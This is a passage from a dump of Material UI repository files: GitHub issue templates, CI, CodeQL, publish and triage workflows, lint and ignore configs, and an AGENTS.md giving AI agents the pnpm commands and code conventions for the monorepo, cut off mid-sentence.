    "content": "name: Docs feedback\ndescription: Improve documentation about Material UI, MUI System, or Joy UI.\nlabels: ['status: waiting for maintainer', 'support: docs-feedback']\ntitle: '[docs] '\nbody:\n  - type: markdown\n    attributes:\n      value: Thanks for contributing by creating an issue! ❤️ Please provide a searchable summary of the issue in the title above ⬆️.\n  - type: input\n    attributes:\n      label: Search keywords\n      description: |\n        Your issue may have already been reported! First search for duplicates among the [existing issues](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aclosed).\n        If your issue isn't a duplicate, great! Please list the keywords you used so people in the future can find this one more easily:\n    validations:\n      required: true\n  - type: input\n    id: page-url\n    attributes:\n      label: Related page\n      description: Which page of the documentation is this about?\n      placeholder: https://mui.com/material-ui/\n    validations:\n      required: true\n  - type: dropdown\n    attributes:\n      label: Kind of issue\n      description: What kind of problem are you facing?\n      options:\n        - Unclear explanations\n        - Missing information\n        - Broken demo\n        - Other\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Issue description\n      description: |\n        Let us know what went wrong when you were using this documentation and what we could do to improve it.\n  - type: textarea\n    attributes:\n      label: Context\n      description: What are you trying to accomplish? Providing context helps us come up with a solution that is more useful in the real world.\n  - type: markdown\n    attributes:\n      value: |\n        ## :heart: Love Material UI?\n\n        Consider donating $10 to sustain our open-source work: [https://opencollective.com/mui-org](https://opencollective.com/mui-org).\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/5.priority-support.yml",
    "content": "name: 'Priority Support: SLA ⏰'\ndescription: I'm an MUI X Premium user and we have purchased the Priority Support add-on. I can't find a solution to my problem with Material UI, MUI System, or Joy UI.\ntitle: '[question] '\nlabels: ['status: waiting for maintainer', 'support: unknown']\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Please provide a searchable summary of the issue in the title above ⬆️.\n  - type: input\n    attributes:\n      label: Search keywords\n      description: |\n        Your issue may have already been reported! First search for duplicates among the [existing issues](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aclosed).\n        If your issue isn't a duplicate, great! Please list the keywords you used so people in the future can find this one more easily:\n      required: true\n  - type: checkboxes\n    attributes:\n      label: Latest version\n      description: We roll bug fixes, performance enhancements, and other improvements into new releases.\n      options:\n        - label: I have tested the latest version\n          required: true\n  - type: textarea\n    attributes:\n      label: The problem in depth\n  - type: textarea\n    attributes:\n      label: Your environment\n      description: Run `npx @mui/envinfo` and post the results. If you encounter issues with TypeScript please include the used tsconfig.\n      value: |\n        <details>\n          <summary>`npx @mui/envinfo`</summary>\n\n        ```\n          Don't forget to mention which browser you used.\n          Output from `npx @mui/envinfo` goes here.\n        ```\n        </details>\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "contact_links:\n  - name: Support ❔\n    url: https://mui.com/material-ui/getting-started/support/\n    about: I need support with Material UI, MUI System, or Joy UI.\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "<!-- Thanks so much for your PR, your contribution is appreciated! ❤️ -->\n\n- [ ] I have followed (at least) the [PR section of the contributing guide](https://github.com/mui/material-ui/blob/HEAD/CONTRIBUTING.md#sending-a-pull-request).\n"
  },
  {
    "path": ".github/codeql/codeql-config.yml",
    "content": "name: CodeQL configuration\n\npaths-ignore:\n  - 'packages/mui-icons-material/lib/**'\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  # Enable version updates for npm\n  - package-ecosystem: npm\n    # Look for `package.json` and `lock` files in the `root` directory\n    directory: /\n    schedule:\n      interval: yearly\n    # https://stackoverflow.com/questions/64047526/how-to-get-dependabot-to-trigger-for-security-updates-only\n    open-pull-requests-limit: 0\n    labels:\n      - dependencies\n      - security\n"
  },
  {
    "path": ".github/workflows/check-if-pr-has-label.yml",
    "content": "name: Check if PR has label\n\non:\n  pull_request:\n    types: [opened, reopened, labeled, unlabeled]\n\npermissions: {}\n\njobs:\n  test-label-applied:\n    # Tests that label is added on the PR\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read\n    steps:\n      - uses: mnajdova/github-action-required-labels@ca0df9249827e43aa4b4a0d25d9fe3e9b19b0705 # v2.1.0\n        with:\n          mode: minimum\n          count: 1\n          labels: ''\n"
  },
  {
    "path": ".github/workflows/ci-check.yml",
    "content": "# This workflow is a workaround for ci.yml to bypass the github checks\n#\n# Ref: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks#handling-skipped-but-required-checks\nname: CI Check\n\non:\n  push:\n    branches-ignore:\n      # should sync with ci.yml as a workaround to bypass github checks\n      - master\n      - next\n      - v*.x\n  pull_request:\n    paths:\n      # should sync with ci.yml as a workaround to bypass github checks\n      - 'docs/**'\n\npermissions: {}\n\njobs:\n  continuous-releases:\n    name: Continuous releases\n    uses: mui/mui-public/.github/workflows/ci-base.yml@c27d6c81557d1db10eaf70e0510d4f1289995454\n\n  test-dev:\n    if: ${{ github.actor != 'l10nbot' }}\n    runs-on: ${{ matrix.os }}\n    strategy:\n      matrix:\n        os: [macos-latest, windows-latest, ubuntu-latest]\n    steps:\n      - run: 'echo \"No build required\"'\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: CI\n\non:\n  push:\n    branches:\n      # should sync with ci-check.yml as a workaround to bypass github checks\n      - master\n      - next\n      - v*.x\n  pull_request:\n    paths-ignore:\n      # should sync with ci-check.yml as a workaround to bypass github checks\n      - 'docs/**'\n\npermissions: {}\n\njobs:\n  continuous-releases:\n    name: Continuous releases\n    uses: mui/mui-public/.github/workflows/ci-base.yml@c27d6c81557d1db10eaf70e0510d4f1289995454\n\n  # Tests dev-only scripts across all supported dev environments\n  test-dev:\n    # l10nbot does not affect dev scripts.\n    if: ${{ github.actor != 'l10nbot' }}\n    runs-on: ${{ matrix.os }}\n    strategy:\n      matrix:\n        os: [macos-latest, windows-latest, ubuntu-latest]\n    permissions:\n      contents: read\n    steps:\n      - run: echo '${{ github.actor }}'\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n        with:\n          # fetch all tags which are required for `pnpm release:changelog`\n          fetch-depth: 0\n      - name: Set up pnpm\n        uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v5.0.0\n      - name: Use Node.js\n        uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0\n        with:\n          node-version: '22.18.0'\n          cache: 'pnpm' # https://github.com/actions/setup-node/blob/main/docs/advanced-usage.md#caching-packages-dependencies\n      - run: pnpm install\n      - name: Cache Next.js build\n        uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4\n        with:\n          path: docs/.next/cache\n          key: ${{ runner.os }}-nextjs-${{ hashFiles('pnpm-lock.yaml') }}-${{ hashFiles('docs/**/*.js', 'docs/**/*.ts', 'docs/**/*.tsx', 'docs/**/*.jsx', 'docs/**/*.json', 'docs/**/*.md', 'docs/**/*.mdx') }}\n          restore-keys: |\n            ${{ runner.os }}-nextjs-${{ hashFiles('pnpm-lock.yaml') }}-\n            ${{ runner.os }}-nextjs-\n      - run: pnpm release:build\n      - name: Build docs\n        run: pnpm docs:build\n        env:\n          NODE_OPTIONS: --max_old_space_size=6144\n          # macOS-latest has 3 CPUs, but we get \"EMFILE: too many open files\" errors with that parallelism\n          # Limit Next.js to 2 CPUs to prevent file descriptor exhaustion. Empty string uses os.availableParallelism()\n          NEXT_PARALLELISM: ${{ runner.os == 'macOS' && '2' || '' }}\n          GITHUB_AUTH: Bearer ${{ secrets.GITHUB_TOKEN }}\n      # - run: pnpm release:changelog\n      #   env:\n      #     GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n      - name: Debug export-detail.json on when pnpm docs:build fails with EMFILE error\n        if: failure()\n        run: cat ./docs/.next/export-detail.json || true\n"
  },
  {
    "path": ".github/workflows/closed-issue-message.yml",
    "content": "name: Add closing message to issue\n\non:\n  issues:\n    types:\n      - closed\n\npermissions: {}\n\njobs:\n  add-comment:\n    name: Add closing message\n    if: github.event.issue.state_reason == 'completed'\n    uses: mui/mui-public/.github/workflows/issues_add-closing-message.yml@c27d6c81557d1db10eaf70e0510d4f1289995454\n    permissions:\n      contents: read\n      issues: write\n"
  },
  {
    "path": ".github/workflows/codeql.yml",
    "content": "name: CodeQL\n\non:\n  schedule:\n    - cron: '0 2 * * *'\n\npermissions: {}\n\njobs:\n  analyze:\n    name: Analyze\n    runs-on: ubuntu-latest\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n      # Initializes the CodeQL tools for scanning.\n      - name: Initialize CodeQL\n        uses: github/codeql-action/init@c10b8064de6f491fea524254123dbe5e09572f13 # v4.35.1\n        with:\n          languages: typescript\n          config-file: ./.github/codeql/codeql-config.yml\n          # If you wish to specify custom queries, you can do so here or in a config file.\n          # By default, queries listed here will override any specified in a config file.\n          # Prefix the list here with \"+\" to use these queries and those in the config file.\n\n          # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs\n          # queries: security-extended,security-and-quality\n      - name: Perform CodeQL Analysis\n        uses: github/codeql-action/analyze@c10b8064de6f491fea524254123dbe5e09572f13 # v4.35.1\n"
  },
  {
    "path": ".github/workflows/create-cherry-pick-pr.yml",
    "content": "name: Create cherry-pick PR\non:\n  pull_request_target:\n    branches:\n      - 'next'\n      - 'v*.x'\n      - 'master'\n    types: ['closed']\n\npermissions: {}\n\njobs:\n  create_pr:\n    name: Create cherry-pick PR\n    uses: mui/mui-public/.github/workflows/prs_create-cherry-pick-pr.yml@c27d6c81557d1db10eaf70e0510d4f1289995454\n    permissions:\n      contents: write\n      pull-requests: write\n"
  },
  {
    "path": ".github/workflows/ensure-triage-label.yml",
    "content": "name: Ensure triage label is present\n\non:\n  label:\n    types:\n      - deleted\n  issues:\n    types:\n      - opened\n\npermissions: {}\n\njobs:\n  label_issues:\n    runs-on: ubuntu-latest\n    permissions:\n      issues: write\n    steps:\n      - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8\n        with:\n          script: |\n            const { data: labels } = await github.rest.issues.listLabelsOnIssue({\n              issue_number: context.issue.number,\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n            });\n\n            if (labels.length <= 0) {\n              await github.rest.issues.addLabels({\n                issue_number: context.issue.number,\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                labels: ['status: waiting for maintainer']\n              })\n            }\n"
  },
  {
    "path": ".github/workflows/issue-cleanup.yml",
    "content": "name: Cleanup issue comment\n\non:\n  issues:\n    types:\n      - opened\n\npermissions: {}\n\njobs:\n  issue_cleanup:\n    runs-on: ubuntu-latest\n    permissions:\n      issues: write\n    steps:\n      - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8\n        with:\n          script: |\n            const issue = await github.rest.issues.get({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n            })\n\n            const lines = issue.data.body.split('\\n')\n\n            const _ = extractInputSection(lines, 'Latest version')\n            const searchKeywords = extractInputSection(lines, 'Search keywords')\n            const orderID = extractInputSection(lines, 'Order ID or Support key')\n\n            lines.push('')\n            lines.push('**Search keywords**: ' + searchKeywords)\n            if (orderID !== '' && orderID !== '_No response_') {\n              lines.push('**Order ID**: ' + orderID)\n            }\n\n            const body = lines.join('\\n')\n\n            await github.rest.issues.update({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              body,\n            })\n\n            function extractInputSection(lines, title) {\n              const index = lines.findIndex(line => line.startsWith('###') && line.includes(title))\n              if (index === -1) {\n                return ''\n              }\n              return lines.splice(index, 4)[2].trim()\n            }\n"
  },
  {
    "path": ".github/workflows/maintenance.yml",
    "content": "name: Maintenance\n\non:\n  # So that PRs touching the same files as the push are updated\n  push:\n    branches:\n      # #target-branch-reference\n      - master\n      - v6.x\n  # So that the `dirtyLabel` is removed if conflicts are resolved\n  # Could put too much strain on rate limit\n  # If we hit the rate limit too often remove this event\n  pull_request_target:\n    branches:\n      # #target-branch-reference\n      - master\n      - v6.x\n    types: [synchronize]\n\npermissions: {}\n\njobs:\n  main:\n    # l10nbot creates a lot of commits at once which starves CI.\n    # We rely on other pushes to mark these branches as outdated.\n    if: ${{ github.actor != 'l10nbot' }}\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read\n      pull-requests: write\n    steps:\n      - run: echo '${{ github.actor }}'\n      - name: Check if prs are dirty\n        uses: eps1lon/actions-label-merge-conflict@1df065ebe6e3310545d4f4c4e862e43bdca146f0 # v3.0.3\n        with:\n          dirtyLabel: 'PR: out-of-date'\n          removeOnDirtyLabel: 'PR: ready to ship'\n          repoToken: '${{ secrets.GITHUB_TOKEN }}'\n          retryAfter: 130\n          retryMax: 10\n"
  },
  {
    "path": ".github/workflows/mark-duplicate.yml",
    "content": "name: Mark duplicate\n\non:\n  issue_comment:\n    types: [created]\n\npermissions: {}\n\njobs:\n  mark-duplicate:\n    runs-on: ubuntu-latest\n    if: ${{ !github.event.issue.pull_request }}\n    permissions:\n      contents: read\n      issues: write\n    steps:\n      - name: Mark duplicate\n        uses: actions-cool/issues-helper@200c78641dbf33838311e5a1e0c31bbdb92d7cf0 # v3.8.0\n        with:\n          actions: 'mark-duplicate'\n          token: ${{ secrets.GITHUB_TOKEN }}\n          duplicate-labels: 'duplicate'\n          remove-labels: 'status: incomplete,status: waiting for maintainer'\n          close-issue: true\n"
  },
  {
    "path": ".github/workflows/no-response.yml",
    "content": "name: No response\n\n# `issues`.`closed`, `issue_comment`.`created`, and `scheduled` event types are required for this Action\n# to work properly.\non:\n  issues:\n    types: [closed]\n  issue_comment:\n    types: [created]\n  schedule:\n    # These runs in our repos are spread evenly throughout the day to avoid hitting rate limits.\n    # If you change this schedule, consider changing the remaining repositories as well.\n    # Runs at 12 am, 12 pm\n    - cron: '0 0,12 * * *'\n\npermissions: {}\n\njobs:\n  noResponse:\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read\n      issues: write\n    steps:\n      - uses: MBilalShafi/no-response-add-label@8336c12292902f27b931154c34ba4670cb9899a2\n        with:\n          token: ${{ secrets.GITHUB_TOKEN }}\n          # Number of days of inactivity before an Issue is closed for lack of response\n          daysUntilClose: 7\n          # Label requiring a response\n          responseRequiredLabel: 'status: waiting for author'\n          # Label to add back when required label is removed\n          optionalFollowupLabel: 'status: waiting for maintainer'\n          # Comment to post when closing an Issue for lack of response. Set to `false` to disable\n          closeComment: >\n            Since the issue is missing key information and has been inactive for 7 days, it has been automatically closed.\n            If you wish to see the issue reopened, please provide the missing information.\n"
  },
  {
    "path": ".github/workflows/priority-support-validation-prompt.yml",
    "content": "name: Priority Support Validation Prompt\n\non:\n  issues:\n    types:\n      - labeled\n\npermissions: {}\n\njobs:\n  comment:\n    name: Create or update comment\n    runs-on: ubuntu-latest\n    permissions:\n      issues: write\n\n    steps:\n      - name: Find Comment\n        uses: peter-evans/find-comment@b30e6a3c0ed37e7c023ccd3f1db5c6c0b0c23aad # v4\n        id: findComment\n        with:\n          issue-number: ${{ github.event.issue.number }}\n          comment-author: 'github-actions[bot]'\n          body-includes: You have created a priority support request\n\n      - name: Create comment\n        if: ${{ steps.findComment.outputs.comment-id == '' && contains(github.event.label.name, 'unknown') }}\n        uses: peter-evans/create-or-update-comment@e8674b075228eee787fea43ef493e45ece1004c9 # v5.0.0\n        with:\n          issue-number: ${{ github.event.issue.number }}\n          body: |\n            You have created a support request under the [\"Priority Support\"](https://mui.com/legal/technical-support-sla/#priority-support) terms, which is a paid add-on to MUI X Premium ⏰. Please validate your support key using the link below:\n\n            https://tools-public.mui.com/prod/pages/validateSupport?repo=mui-x&issueId=${{ github.event.issue.number }}\n\n            Do not share your support key in this issue!\n\n            Priority Support is only provided to verified customers. Once you have verified your support key, we will remove the `support: unknown` label and add the `support: priority` label to this issue. Only then the time for the SLA will start counting.\n\n      - name: Update comment\n        if: ${{ steps.findComment.outputs.comment-id != '' && contains(github.event.label.name, 'priority') }}\n        uses: peter-evans/create-or-update-comment@e8674b075228eee787fea43ef493e45ece1004c9 # v5.0.0\n        with:\n          comment-id: ${{ steps.findComment.outputs.comment-id }}\n          body: |\n            Thank you for verifying your support key 🔑, your SLA starts now.\n          edit-mode: replace\n"
  },
  {
    "path": ".github/workflows/publish-canaries.yml",
    "content": "name: Publish canary packages to npm\n\non:\n  workflow_dispatch:\n\npermissions: {}\n\njobs:\n  publish:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n        with:\n          fetch-depth: 0\n      - name: Set up pnpm\n        uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v5.0.0\n      - name: Use Node.js\n        uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0\n        with:\n          node-version: '22.18.0'\n          cache: 'pnpm' # https://github.com/actions/setup-node/blob/main/docs/advanced-usage.md#caching-packages-dependencies\n      - run: pnpm install\n      - run: pnpm canary:release --ignore @mui/icons-material --yes --skip-last-commit-comparison\n        env:\n          NPM_TOKEN: ${{secrets.NPM_TOKEN}}\n"
  },
  {
    "path": ".github/workflows/publish.yml",
    "content": "name: Publish packages\n\non:\n  workflow_dispatch:\n    inputs:\n      sha:\n        description: 'Commit SHA to release from'\n        required: true\n        type: string\n      dry-run:\n        description: 'Run in dry-run mode without actually publishing packages'\n        required: false\n        type: boolean\n        default: false\n      github-release:\n        description: 'Create a GitHub release after publishing'\n        required: false\n        type: boolean\n        default: true\n      dist-tag:\n        description: 'npm dist tag to publish to'\n        required: false\n        type: string\n        default: 'latest'\n\npermissions: {}\n\njobs:\n  publish:\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write # Required for pushing tags and creating releases\n      id-token: write # Required for provenance\n    environment:\n      name: npm-publish\n    steps:\n      - name: Checkout\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6\n        with:\n          ref: ${{ inputs.sha }}\n          fetch-depth: 0 # Fetch full history for proper git operations\n      - name: Prepare for publishing\n        uses: mui/mui-public/.github/actions/publish-prepare@c27d6c81557d1db10eaf70e0510d4f1289995454\n      - name: Publish packages\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        run: |\n          # Build common flags\n          ARGS=\"\"\n          if [ \"${{ inputs.dry-run }}\" = \"true\" ]; then\n            ARGS=\"$ARGS --dry-run\"\n          fi\n          if [ \"${{ inputs.github-release }}\" = \"true\" ]; then\n            ARGS=\"$ARGS --github-release\"\n          fi\n          if [ -n \"${{ inputs.dist-tag }}\" ]; then\n            ARGS=\"$ARGS --tag ${{ inputs.dist-tag }}\"\n          fi\n\n          pnpm code-infra publish --ci $ARGS\n"
  },
  {
    "path": ".github/workflows/scorecards.yml",
    "content": "name: Scorecards supply-chain security\n\non:\n  # Only the default branch is supported.\n  branch_protection_rule:\n  schedule:\n    - cron: '0 2 * * *'\n\npermissions: {}\n\njobs:\n  analysis:\n    name: Scorecards analysis\n    runs-on: ubuntu-latest\n    permissions:\n      # Needed to upload the results to code-scanning dashboard.\n      security-events: write\n      # Used to receive a badge.\n      id-token: write\n      # Needs for private repositories.\n      contents: read\n      actions: read\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n        with:\n          persist-credentials: false\n      - name: Run analysis\n        uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3\n        with:\n          results_file: results.sarif\n          results_format: sarif\n          # (Optional) Read-only PAT token. Uncomment the `repo_token` line below if:\n          # - you want to enable the Branch-Protection check on a *public* repository, or\n          # - you are installing Scorecards on a *private* repository\n          # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action#authentication-with-pat.\n          repo_token: ${{ secrets.SCORECARD_READ_TOKEN }}\n          # Publish the results for public repositories to enable scorecard badges. For more details, see\n          # https://github.com/ossf/scorecard-action#publishing-results.\n          publish_results: true\n      # Upload the results to GitHub's code scanning dashboard.\n      - name: Upload to code-scanning\n        uses: github/codeql-action/upload-sarif@c10b8064de6f491fea524254123dbe5e09572f13 # v4.35.1\n        with:\n          sarif_file: results.sarif\n"
  },
  {
    "path": ".github/workflows/support-stackoverflow.yml",
    "content": "# Configuration for support-requests - https://github.com/dessant/support-requests\nname: Support Stack Overflow\n\non:\n  issues:\n    types: [labeled, unlabeled, reopened]\n\npermissions: {}\n\njobs:\n  mark-support:\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read\n      issues: write\n    steps:\n      - uses: dessant/support-requests@47d5ea12f6c9e4a081637de9626b7319b415a3bf # v4.0.0\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n          # Label used to mark issues as support requests\n          support-label: 'support: Stack Overflow'\n          # Comment to post on issues marked as support requests. Add a link\n          # to a support page, or set to `false` to disable\n          issue-comment: |\n            👋 Thanks for using this project!\n\n            We use GitHub issues exclusively as a bug and feature requests tracker, however, this issue appears to be a support request.\n\n            For support with Material UI please check out https://mui.com/material-ui/getting-started/support/. Thanks!\n\n            If you have a question on Stack Overflow, you are welcome to link to it here, it might help others.\n            If your issue is subsequently confirmed as a bug, and the report follows the issue template, it can be reopened.\n          close-issue: true\n          issue-close-reason: 'not planned'\n          lock-issue: false\n"
  },
  {
    "path": ".github/workflows/vale-action.yml",
    "content": "name: Vale action\n\non: [pull_request]\n\npermissions: {}\n\njobs:\n  vale:\n    name: runner / vale\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read\n      pull-requests: write\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n      - name: Extract Vale version from pnpm-lock.yaml\n        id: vale-version\n        run: |\n          # Extract version from lock file\n          VERSION=$(awk -F\"@|'\" '/@vvago\\/vale@/ {print $4}' pnpm-lock.yaml | head -n1)\n          echo \"Extracted Vale version: $VERSION\"\n          echo \"vale_version=$VERSION\" >> $GITHUB_OUTPUT\n      - uses: errata-ai/vale-action@d89dee975228ae261d22c15adcd03578634d429c # v2.1.1\n        continue-on-error: true # GitHub Action flag needed until https://github.com/errata-ai/vale-action/issues/89 is fixed\n        with:\n          version: ${{ steps.vale-version.outputs.vale_version }}\n          # Errors should be more visible\n          fail_on_error: true\n          # The other reports don't work, not really https://github.com/reviewdog/reviewdog#reporters\n          reporter: github-pr-check\n          # Required, set by GitHub actions automatically:\n          # https://docs.github.com/en/actions/security-guides/automatic-token-authentication#about-the-github_token-secret\n          token: ${{secrets.GITHUB_TOKEN}}\n"
  },
  {
    "path": ".gitignore",
    "content": "# It is best to ignoring editor and system files in a local .gitignore configuration file.\n# However, in order to prevent issues, they are ignored here.\n.DS_STORE\n.idea\n# IntelliJ IDEA module file\n*.iml\n.vscode/*\n!.vscode/launch.json\n!.vscode/extensions.json\n*.log\n/.eslintcache\n/.nyc_output\n/coverage\n/docs/.env.local\n/docs/export\n/docs/pages/playground/\n/docs/public/feed/\n/docs/public/material-ui/\n/examples/**/.cache\n/packages/mui-codemod/lib\n/packages/mui-envinfo/*.tgz\n/packages/mui-icons-material/src/*.js\n/test/bundling/fixtures/*/yarn.lock\n/test/bundling/fixtures/*/pnpm-lock.yaml\n# created by test/bundling/scripts/createFixture\n/test/bundling/fixtures/**/*.fixture.js\n# created by test/bundling/fixtures/gatsby gatsby build\n/test/bundling/fixtures/gatsby/.cache\n/test/bundling/fixtures/gatsby/public\n/test/regressions/screenshots\n/tmp\n.next\n# created by netlify dev (to perform local debug)\n.netlify\nbuild\ndist\nnode_modules\npackage-lock.json\nsize-snapshot.json\nbundle-sizes/\ndocs/public/static/blog/feed/*\n# vale downloaded config\n.github/styles/\n.nx/cache\n.nx/workspace-data\nscreenshots\npacked\ntest-results\n.env\n\n# typescript\n*.tsbuildinfo\nnext-env.d.ts\n"
  },
  {
    "path": ".lintignore",
    "content": "/.git\n/coverage\n/docs/export\n/docs/pages/playground/\n/examples/material-ui-cra*/src/serviceWorker.js\n/examples/material-ui-gatsby/public/\n/examples/material-ui-preact/config\n/examples/material-ui-preact/scripts\n/examples/material-ui-nextjs/src\n/packages/mui-codemod/lib\n/packages/mui-codemod/src/*/*.test/*\n/packages/mui-codemod/src/**/test-cases/*\n/packages/mui-icons-material/fixtures\n/packages/mui-icons-material/legacy\n/packages/mui-icons-material/lib\n/packages/mui-icons-material/material-icons/\n/packages/mui-icons-material/src/*.js\n/packages/mui-icons-material/templateSvgIcon.js\n# Ignore fixtures\n/packages-internal/scripts/typescript-to-proptypes/test/*/*\n/test/bundling/fixtures/**/*.fixture.js\n# just an import that reports eslint errors depending on whether the fixture (which is not checked in) exists\n/test/bundling/fixtures/create-react-app/src/index.js\n/test/bundling/fixtures/gatsby/.cache\n/test/bundling/fixtures/gatsby/public\n/tmp\n.next\nbuild\ndist\nnode_modules\n.nyc_output\npnpm-lock.yaml\n\n# These come from crowdin.\n# If we would commit changes crowdin would immediately try to revert.\n# If we want to format these files we'd need to do it in crowdin\ndocs/**/*-pt.md\ndocs/**/*-zh.md\n__fixtures__\n"
  },
  {
    "path": ".markdownlint-cli2.mjs",
    "content": "import { createBaseConfig } from '@mui/internal-code-infra/markdownlint';\n\nexport default createBaseConfig();\n"
  },
  {
    "path": ".npmrc",
    "content": "enable-pre-post-scripts = true\nmanage-package-manager-versions = true\n"
  },
  {
    "path": ".prettierignore",
    "content": "pnpm-lock.yaml\n"
  },
  {
    "path": ".tidelift.yml",
    "content": "ci:\n  platform:\n    npm:\n      # Don't run unmainted test on nomnom, it's only used by build tools, not in MUI.\n      nomnom:\n        tests:\n          unmaintained: skip\n      # Don't run vulnerabity test on os-locale, it's only used by yargs in build tools, not in MUI.\n      os-locale:\n        tests:\n          vulnerable: skip\n"
  },
  {
    "path": ".vale.ini",
    "content": "# Vale config. More information at https://vale.sh/docs/topics/config/\nStylesPath = .github/styles\nMinAlertLevel = warning\n\n# To update mui-vale package:\n# 1. Go to the docs folder\n# 2. Update/create YAML files\n# 3. Run `pnpm docs:zipRules` to generate the zip files\n# 4. You can test locally by replacing the url with the file path of the generated zip\nPackages = Google, docs/mui-vale.zip\n\n[formats]\nmdx = md\n\n[*.md]\n# Ignore React component calls\nTokenIgnores = (<\\/?[A-Z].+>)\n\n# Ignore code injections that start with {{...\nBlockIgnores = {{.*\n\nBasedOnStyles = MUI\n\n# Google errors:\nGoogle.GenderBias = YES # No Gender bias\n# Google warings:\nGoogle.FirstPerson = YES # Avoid first-person\nGoogle.We = YES # Avoid first-person plural\nGoogle.Will = YES # Avoid future tense\nGoogle.OxfordComma = YES # Prefer Oxford comma\n\n[CHANGELOG*.md]\nMUI.CorrectReferenceAllCases = NO\n"
  },
  {
    "path": ".vscode/extensions.json",
    "content": "{\n  \"recommendations\": [\n    \"editorconfig.editorconfig\",\n    \"dbaeumer.vscode-eslint\",\n    \"davidanson.vscode-markdownlint\",\n    \"esbenp.prettier-vscode\",\n    \"yoavbls.pretty-ts-errors\"\n  ]\n}\n"
  },
  {
    "path": "AGENTS.md",
    "content": "# AGENTS.md\n\nThis file provides guidance for AI agents working with code in this repository.\n\n## Package Manager\n\n**Only pnpm is supported** (yarn/npm will fail). Use the `-F` flag for workspace operations:\n\n```bash\npnpm -F @mui/material add some-package    # Add dependency to a package\npnpm -F @mui/material build               # Build a specific package\n```\n\nNever use `cd` to navigate into package directories for commands.\n\n## Common Commands\n\n### Development\n\n```bash\npnpm install                  # Install deps if necessary\npnpm docs:dev                 # Start docs dev server only\n```\n\n### Building\n\n```bash\npnpm release:build            # Build all packages (except docs)\npnpm docs:build               # Build documentation site\n```\n\n### Testing\n\n```bash\npnpm test:unit                # Run all unit tests (jsdom)\npnpm test:unit ComponentName  # Run tests matching pattern\npnpm test:unit -t \"test name\" # Grep for specific test name\npnpm test:browser             # Run tests in real browsers (Chrome, Firefox, WebKit)\npnpm test:e2e                 # End-to-end tests\npnpm test:regressions         # Visual regression tests\n```\n\n### Code Quality\n\n```bash\npnpm prettier                 # Format staged changes\npnpm eslint                   # Lint with cache\npnpm typescript               # Type check all packages\n```\n\n### API Documentation\n\nAfter changing component props or TypeScript declarations:\n\n```bash\npnpm proptypes && pnpm docs:api\n```\n\n### Docs demos\n\nAlways author the TypeScript version of the demos. To generate the JavaScript variant, run:\n\n```bash\npnpm docs:typescript:formatted\n```\n\n## Architecture\n\nThis is a monorepo managed by Lerna with Nx for caching. Key packages:\n\n- `@mui/material` - Core Material UI components\n- `@mui/system` - Styling system (sx prop, styled, theme)\n- `@mui/lab` - Experimental components (new components go here first)\n- `@mui/icons-material` - Material Design icons\n- `@mui/utils` - Internal utilities\n- `@mui/styled-engine` - CSS-in-JS abstraction (Emotion by default)\n\nInternal packages (not published): `@mui-internal/*`, `@mui/internal-*`\n\n## Code Conventions\n\n### TypeScript\n\n- Use `interface` (not `type`) for component props\n- Export `{ComponentName}Props` interface from component files\n- Path aliases available: `@mui/material` → `./packages/mui-material/src`\n\n### Errors\n\nThese guidelines only apply for errors thrown from public packages.\n\nEvery error message must:\n\n1. **Say what happened** - Describe the problem clearly\n2. **Say why it's a problem** - Explain the consequence\n3. **Point toward how to solve it** - Give actionable guidance\n\nFormat:\n\n<!-- markdownlint-disable MD038 -->\n\n- Prefix with `MUI: `\n- Use string concatenation for readability\n- Include a documentation link when applicable (`https://mui.com/r/...`)\n\n#### Error Minifier\n\nUse the `/* 